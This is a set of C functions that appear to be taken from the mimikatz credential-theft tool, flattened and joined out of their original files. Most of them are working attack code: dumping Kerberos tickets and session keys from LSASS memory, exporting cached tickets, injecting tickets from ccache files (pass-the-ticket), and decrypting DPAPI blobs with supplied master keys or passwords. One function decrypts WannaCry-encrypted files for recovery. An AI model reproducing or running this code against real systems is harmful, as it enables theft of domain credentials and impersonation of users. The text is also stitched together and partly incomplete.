void kuhl_m_sekurlsa_kerberos_enum_tickets(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN DWORD grp, IN PVOID tickets, IN BOOL isFile) { PVOID pStruct, pRef = tickets; KULL_M_MEMORY_HANDLE hBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS data = {&pStruct, &hBuffer}, aTicket = {NULL, &hBuffer}, aLsassBuffer = {tickets, pData->cLsass->hLsassMem}; DWORD nbTickets = 0; PKIWI_KERBEROS_TICKET pKiwiTicket; PDIRTY_ASN1_SEQUENCE_EASY App_KrbCred; BOOL isNormalSessionKey; wchar_t * filename; if(aTicket.address = LocalAlloc(LPTR, kerbHelper[KerbOffsetIndex].structTicketSize)) { if(kull_m_memory_copy(&data, &aLsassBuffer, sizeof(PVOID))) { data.address = pStruct; data.hMemory = pData->cLsass->hLsassMem; while(data.address != pRef) { if(kull_m_memory_copy(&aTicket, &data, kerbHelper[KerbOffsetIndex].structTicketSize)) { kprintf(L"\n\t [%08x]", nbTickets); if(pKiwiTicket = kuhl_m_sekurlsa_kerberos_createTicket((LPBYTE) aTicket.address, pData->cLsass->hLsassMem)) { isNormalSessionKey = (pData->cLsass->osContext.BuildNumber < KULL_M_WIN_BUILD_10) || (pKiwiTicket->Key.Length < (ULONG) FIELD_OFFSET(LSAISO_DATA_BLOB, data)); kuhl_m_kerberos_ticket_display(pKiwiTicket, isNormalSessionKey, FALSE); if(isFile) if(filename = kuhl_m_sekurlsa_kerberos_generateFileName(pData->LogonId, grp, nbTickets, pKiwiTicket, MIMIKATZ_KERBEROS_EXT)) { if(App_KrbCred = kuhl_m_kerberos_ticket_createAppKrbCred(pKiwiTicket, FALSE)) { if(kull_m_file_writeData(filename, App_KrbCred, kull_m_asn1_getSize(App_KrbCred))) kprintf(L"\n\t * Saved to file %s !", filename); else PRINT_ERROR_AUTO(L"kull_m_file_writeData"); LocalFree(App_KrbCred); } LocalFree(filename); } if(!isNormalSessionKey) { kprintf(L"\n\t LSA Session Key : 0x%08x - %s", pKiwiTicket->KeyType, kuhl_m_kerberos_ticket_etype(pKiwiTicket->KeyType)); kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) pKiwiTicket->Key.Value); } kuhl_m_kerberos_ticket_freeTicket(pKiwiTicket); } data.address = ((PLIST_ENTRY) (aTicket.address))->Flink; } else break; nbTickets++; } } LocalFree(aTicket.address); } }
NTSTATUS kuhl_m_dpapi_protect(int argc, wchar_t * argv[]) { DATA_BLOB dataIn, dataOut, dataEntropy = {0, NULL}; PKULL_M_DPAPI_BLOB blob; PCWSTR description = NULL, szEntropy, outfile; CRYPTPROTECT_PROMPTSTRUCT promptStructure = {sizeof(CRYPTPROTECT_PROMPTSTRUCT), CRYPTPROTECT_PROMPT_ON_PROTECT | CRYPTPROTECT_PROMPT_ON_UNPROTECT | CRYPTPROTECT_PROMPT_STRONG, NULL, MIMIKATZ}, *pPrompt; DWORD flags = 0, outputMode = 1; kull_m_string_args_byName(argc, argv, L"data", (PCWSTR *) &dataIn.pbData, MIMIKATZ); kull_m_string_args_byName(argc, argv, L"description", &description, NULL); if(kull_m_string_args_byName(argc, argv, L"entropy", &szEntropy, NULL)) kull_m_string_stringToHexBuffer(szEntropy, &dataEntropy.pbData, &dataEntropy.cbData); if(kull_m_string_args_byName(argc, argv, L"machine", NULL, NULL)) flags |= CRYPTPROTECT_LOCAL_MACHINE; pPrompt = kull_m_string_args_byName(argc, argv, L"prompt", NULL, NULL) ? &promptStructure : NULL; if(kull_m_string_args_byName(argc, argv, L"c", NULL, NULL)) outputMode = 2; kprintf(L"\ndata : %s\n", dataIn.pbData); kprintf(L"description : %s\n", description ? description : L""); kprintf(L"flags : "); kull_m_dpapi_displayProtectionFlags(flags); kprintf(L"\n"); kprintf(L"prompt flags: "); if(pPrompt) kull_m_dpapi_displayPromptFlags(pPrompt->dwPromptFlags); kprintf(L"\n"); kprintf(L"entropy : "); kull_m_string_wprintf_hex(dataEntropy.pbData, dataEntropy.cbData, 0); kprintf(L"\n\n"); dataIn.cbData = (DWORD) ((wcslen((PCWSTR) dataIn.pbData) + 1) * sizeof(wchar_t)); if(CryptProtectData(&dataIn, description, &dataEntropy, NULL, pPrompt, flags, &dataOut)) { if(blob = kull_m_dpapi_blob_create(dataOut.pbData)) { kull_m_dpapi_blob_descr(blob); kull_m_dpapi_blob_delete(blob); } kprintf(L"\n"); if(kull_m_string_args_byName(argc, argv, L"out", &outfile, NULL)) { if(kull_m_file_writeData(outfile, dataOut.pbData, dataOut.cbData)) kprintf(L"Write to file \'%s\' is OK\n", outfile); } else { kprintf(L"Blob:\n"); kull_m_string_wprintf_hex(dataOut.pbData, dataOut.cbData, outputMode | (16 << 16)); kprintf(L"\n"); } LocalFree(dataOut.pbData); } else PRINT_ERROR_AUTO(L"CryptProtectData"); if(dataEntropy.pbData) LocalFree(dataEntropy.pbData); return STATUS_SUCCESS; }
void rsautil_decryptFileWithKey(HCRYPTPROV hProv, HCRYPTKEY hUserRsaKey, HCRYPTKEY hFreeRsaKey, LPWSTR filename) { HCRYPTKEY hUserFileAesKey; PWANA_FORMAT pbEncData; PWCHAR p; DWORD cbEncData, cbRealDataLen, cryptoMode = CRYPT_MODE_CBC; kprintf(L"File %s -- ", filename); if(kull_m_file_readData(filename, (PBYTE *) &pbEncData, &cbEncData)) { if(p = wcsrchr(filename, L'.')) { *p = L'\0'; // 'delete' the WNCRY extension if(pbEncData->magic == WANA_MAGIC) { if(CryptDecrypt(hUserRsaKey, 0, TRUE, 0, pbEncData->key, &pbEncData->enc_keysize) || (hFreeRsaKey ? CryptDecrypt(hFreeRsaKey, 0, TRUE, 0, pbEncData->key, &pbEncData->enc_keysize) : FALSE)) // decrypt the raw AES key from your RSA key (from userone of free if present) { if(SIMPLE_kull_m_crypto_hkey(hProv, CALG_AES_128, pbEncData->key, pbEncData->enc_keysize, 0, &hUserFileAesKey)) // let's make a AES 128 Windows key from raw bytes { if(CryptSetKeyParam(hUserFileAesKey, KP_MODE, (PBYTE) &cryptoMode, 0)) // we'll do CBC { cbRealDataLen = cbEncData - FIELD_OFFSET(WANA_FORMAT, data); if(CryptDecrypt(hUserFileAesKey, 0, FALSE, 0, pbEncData->data, &cbRealDataLen)) // decrypt final data (padding issue, so 'FALSE' arg) { if(kull_m_file_writeData(filename, pbEncData->data, (ULONG) pbEncData->qwDataSize)) kprintf(L"OK\n"); else PRINT_ERROR_AUTO(L"kull_m_file_writeData"); } else PRINT_ERROR_AUTO(L"CryptDecrypt(AES)"); } CryptDestroyKey(hUserFileAesKey); } } else PRINT_ERROR_AUTO(L"CryptDecrypt(RSA)"); } else PRINT_ERROR(L"ERROR: WANACRY! magic number not found\n"); } else PRINT_ERROR(L"ERROR: no \'.\' at the end of the user file ?\n"); LocalFree(pbEncData); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); }
NTSTATUS kuhl_m_dpapi_unprotect(int argc, wchar_t * argv[]) { DATA_BLOB dataIn, dataOut, dataEntropy = {0, NULL}; PKULL_M_DPAPI_BLOB blob; PCWSTR szEntropy, outfile, infile, szMasterkey, szPassword = NULL; PWSTR description = NULL; CRYPTPROTECT_PROMPTSTRUCT promptStructure = {sizeof(CRYPTPROTECT_PROMPTSTRUCT), CRYPTPROTECT_PROMPT_ON_PROTECT | CRYPTPROTECT_PROMPT_ON_UNPROTECT | CRYPTPROTECT_PROMPT_STRONG, NULL, MIMIKATZ}, *pPrompt; DWORD flags = 0; UNICODE_STRING uString; BOOL statusDecrypt = FALSE; PBYTE masterkey = NULL; DWORD masterkeyLen = 0; if(kull_m_string_args_byName(argc, argv, L"entropy", &szEntropy, NULL)) kull_m_string_stringToHexBuffer(szEntropy, &dataEntropy.pbData, &dataEntropy.cbData); if(kull_m_string_args_byName(argc, argv, L"machine", NULL, NULL)) flags |= CRYPTPROTECT_LOCAL_MACHINE; pPrompt = kull_m_string_args_byName(argc, argv, L"prompt", NULL, NULL) ? &promptStructure : NULL; if(kull_m_string_args_byName(argc, argv, L"masterkey", &szMasterkey, NULL)) kull_m_string_stringToHexBuffer(szMasterkey, &masterkey, &masterkeyLen); kull_m_string_args_byName(argc, argv, L"password", &szPassword, NULL); kprintf(L"\nflags : "); kull_m_dpapi_displayProtectionFlags(flags); kprintf(L"\n"); kprintf(L"prompt flags: "); if(pPrompt) kull_m_dpapi_displayPromptFlags(pPrompt->dwPromptFlags); kprintf(L"\n"); kprintf(L"entropy : "); kull_m_string_wprintf_hex(dataEntropy.pbData, dataEntropy.cbData, 0); kprintf(L"\n"); kprintf(L"masterkey : "); kull_m_string_wprintf_hex(masterkey, masterkeyLen, 0); kprintf(L"\n"); kprintf(L"password : %s\n\n", szPassword ? szPassword : L""); if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { if(kull_m_file_readData(infile, &dataIn.pbData, &dataIn.cbData)) { if(blob = kull_m_dpapi_blob_create(dataIn.pbData)) { kull_m_dpapi_blob_descr(blob); if(masterkey && masterkeyLen) statusDecrypt = kull_m_dpapi_unprotect_blob(blob, masterkey, masterkeyLen, dataEntropy.pbData, dataEntropy.cbData, szPassword, (LPVOID *) &dataOut.pbData, &dataOut.cbData); else statusDecrypt = CryptUnprotectData(&dataIn, &description, &dataEntropy, NULL, pPrompt, 0, &dataOut); if(statusDecrypt) { if(description) { kprintf(L"description : %s\n", description); LocalFree(description); } if(kull_m_string_args_byName(argc, argv, L"out", &outfile, NULL)) { if(kull_m_file_writeData(outfile, dataOut.pbData, dataOut.cbData)) kprintf(L"Write to file \'%s\' is OK\n", outfile); } else { uString.Length = uString.MaximumLength = (USHORT) dataOut.cbData; uString.Buffer = (PWSTR) dataOut.pbData; kprintf(L"data - "); if((uString.Length <= USHRT_MAX) && (kull_m_string_suspectUnicodeString(&uString))) kprintf(L"text : %s", dataOut.pbData); else { kprintf(L"hex : "); kull_m_string_wprintf_hex(dataOut.pbData, dataOut.cbData, 1 | (16 << 16)); } kprintf(L"\n"); } LocalFree(dataOut.pbData); } else if(!masterkey) PRINT_ERROR_AUTO(L"CryptUnprotectData"); kull_m_dpapi_blob_delete(blob); } LocalFree(dataIn.pbData); } } if(dataEntropy.pbData) LocalFree(dataEntropy.pbData); if(masterkey) LocalFree(masterkey); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_kerberos_ccache_enum(int argc, wchar_t * argv[], BOOL isInject, BOOL isSave) { PBYTE file, data; DWORD length, i; USHORT version; PKERB_EXTERNAL_NAME principalName; UNICODE_STRING principalRealm; PKIWI_KERBEROS_TICKET ticket; PDIRTY_ASN1_SEQUENCE_EASY App_KrbCred; DWORD App_KrbCred_Size; wchar_t * saveFilename; if(argc) { if(kull_m_file_readData(argv[0], &file, &length)) { data = file; version = _byteswap_ushort(*(PUSHORT) data); data += sizeof(USHORT); if(version == 0x0504) { data += sizeof(USHORT) + _byteswap_ushort(*(PUSHORT) data); kuhl_m_kerberos_ccache_externalname(&data, &principalName, &principalRealm); if(principalName) { kuhl_m_kerberos_ticket_displayExternalName(L"\nPrincipal : ", principalName, &principalRealm); for(i = 0; data < (file + length); i++) { kprintf(L"\n\nData %u", i); if(ticket = (PKIWI_KERBEROS_TICKET) LocalAlloc(LPTR, sizeof(KIWI_KERBEROS_TICKET))) { kuhl_m_kerberos_ccache_externalname(&data, &ticket->ClientName, &ticket->AltTargetDomainName); kuhl_m_kerberos_ccache_externalname(&data, &ticket->ServiceName, &ticket->DomainName); ticket->TargetName = kuhl_m_kerberos_ticket_copyExternalName(ticket->ServiceName); kull_m_string_copyUnicodeStringBuffer(&ticket->DomainName, &ticket->TargetDomainName); ticket->KeyType = _byteswap_ushort(*(PUSHORT) data); data += sizeof(USHORT); ticket->TicketEncType = _byteswap_ushort(*(PUSHORT) data); data += sizeof(USHORT); ticket->Key.Length = _byteswap_ushort(*(PUSHORT) data); data += sizeof(USHORT); if(ticket->Key.Length) if(ticket->Key.Value = (PUCHAR) LocalAlloc(LPTR, ticket->Key.Length)) RtlCopyMemory(ticket->Key.Value, data, ticket->Key.Length); data += ticket->Key.Length + sizeof(DWORD); // authtime; kuhl_m_kerberos_ccache_UnixTimeToFileTime(_byteswap_ulong(*(PDWORD) data), &ticket->StartTime); data += sizeof(DWORD); // local ? kuhl_m_kerberos_ccache_UnixTimeToFileTime(_byteswap_ulong(*(PDWORD) data), &ticket->EndTime); data += sizeof(DWORD); kuhl_m_kerberos_ccache_UnixTimeToFileTime(_byteswap_ulong(*(PDWORD) data), &ticket->RenewUntil); data += sizeof(DWORD) + sizeof(UCHAR); // skey ticket->TicketFlags = _byteswap_ulong(*(PDWORD) data); data += sizeof(DWORD); kuhl_m_kerberos_ccache_skip_struct_with_buffer(&data); // address kuhl_m_kerberos_ccache_skip_struct_with_buffer(&data); // authdata ticket->Ticket.Length = _byteswap_ulong(*(PDWORD) data); data += sizeof(DWORD); ticket->TicketKvno = 2; if(ticket->Ticket.Length) if(ticket->Ticket.Value = (PUCHAR) LocalAlloc(LPTR, ticket->Ticket.Length)) RtlCopyMemory(ticket->Ticket.Value, data, ticket->Ticket.Length); data += ticket->Ticket.Length; kuhl_m_kerberos_ccache_skip_buffer(&data); if(!RtlEqualUnicodeString(&usXCACHECONF, &ticket->TargetDomainName, TRUE)) { kuhl_m_kerberos_ticket_display(ticket, FALSE); if(isSave || isInject) { if(App_KrbCred = kuhl_m_kerberos_ticket_createAppKrbCred(ticket, TRUE)) { App_KrbCred_Size = kull_m_asn1_getSize(App_KrbCred); if(isInject) { kprintf(L"\n\t * Injecting ticket : "); if(NT_SUCCESS(kuhl_m_kerberos_ptt_data(App_KrbCred, App_KrbCred_Size))) kprintf(L"OK\n"); } else { if(saveFilename = kuhl_m_kerberos_ccache_generateFileName(i, ticket, MIMIKATZ_KERBEROS_EXT)) { if(kull_m_file_writeData(saveFilename, App_KrbCred, App_KrbCred_Size)) kprintf(L"\n\t * Saved to file %s !", saveFilename); else PRINT_ERROR_AUTO(L"kull_m_file_writeData"); LocalFree(saveFilename); } } LocalFree(App_KrbCred); } } } else kprintf(L"\n\t* %wZ entry? *", &usXCACHECONF); kuhl_m_kerberos_ticket_freeTicket(ticket); } } kuhl_m_kerberos_ticket_freeExternalName(principalName); } } else PRINT_ERROR(L"ccache version != 0x0504\n"); LocalFree(file); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); } else PRINT_ERROR(L"At least one filename is needed\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[]) { NTSTATUS status, packageStatus; KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = {KerbQueryTicketCacheExMessage, {0, 0}}; PKERB_QUERY_TKT_CACHE_EX_RESPONSE pKerbCacheResponse; PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest; PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse; DWORD szData, i; wchar_t * filename; BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL); status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus); if(NT_SUCCESS(status)) { if(NT_SUCCESS(packageStatus)) { for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++) { kprintf(L"\n[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype(pKerbCacheResponse->Tickets[i].EncryptionType)); kprintf(L"\n Start/End/MaxRenew: "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].RenewTime); kprintf(L"\n Server Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ServerName, &pKerbCacheResponse->Tickets[i].ServerRealm); kprintf(L"\n Client Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ClientName, &pKerbCacheResponse->Tickets[i].ClientRealm); kprintf(L"\n Flags %08x : ", pKerbCacheResponse->Tickets[i].TicketFlags); kuhl_m_kerberos_ticket_displayFlags(pKerbCacheResponse->Tickets[i].TicketFlags); if(export) { szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + pKerbCacheResponse->Tickets[i].ServerName.MaximumLength; if(pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST) LocalAlloc(LPTR, szData)) // LPTR implicates KERB_ETYPE_NULL { pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage; pKerbRetrieveRequest->CacheOptions = /*KERB_RETRIEVE_TICKET_USE_CACHE_ONLY | */KERB_RETRIEVE_TICKET_AS_KERB_CRED; pKerbRetrieveRequest->TicketFlags = pKerbCacheResponse->Tickets[i].TicketFlags; pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[i].ServerName; pKerbRetrieveRequest->TargetName.Buffer = (PWSTR) ((PBYTE) pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST)); RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength); status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID *) &pKerbRetrieveResponse, &szData, &packageStatus); if(NT_SUCCESS(status)) { if(NT_SUCCESS(packageStatus)) { if(filename = kuhl_m_kerberos_generateFileName(i, &pKerbCacheResponse->Tickets[i], MIMIKATZ_KERBEROS_EXT)) { if(kull_m_file_writeData(filename, pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize)) kprintf(L"\n * Saved to file : %s", filename); LocalFree(filename); } LsaFreeReturnBuffer(pKerbRetrieveResponse); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage / Package : %08x\n", packageStatus); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage : %08x\n", status); LocalFree(pKerbRetrieveRequest); } } kprintf(L"\n"); } LsaFreeReturnBuffer(pKerbCacheResponse); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbQueryTicketCacheEx2Message / Package : %08x\n", packageStatus); }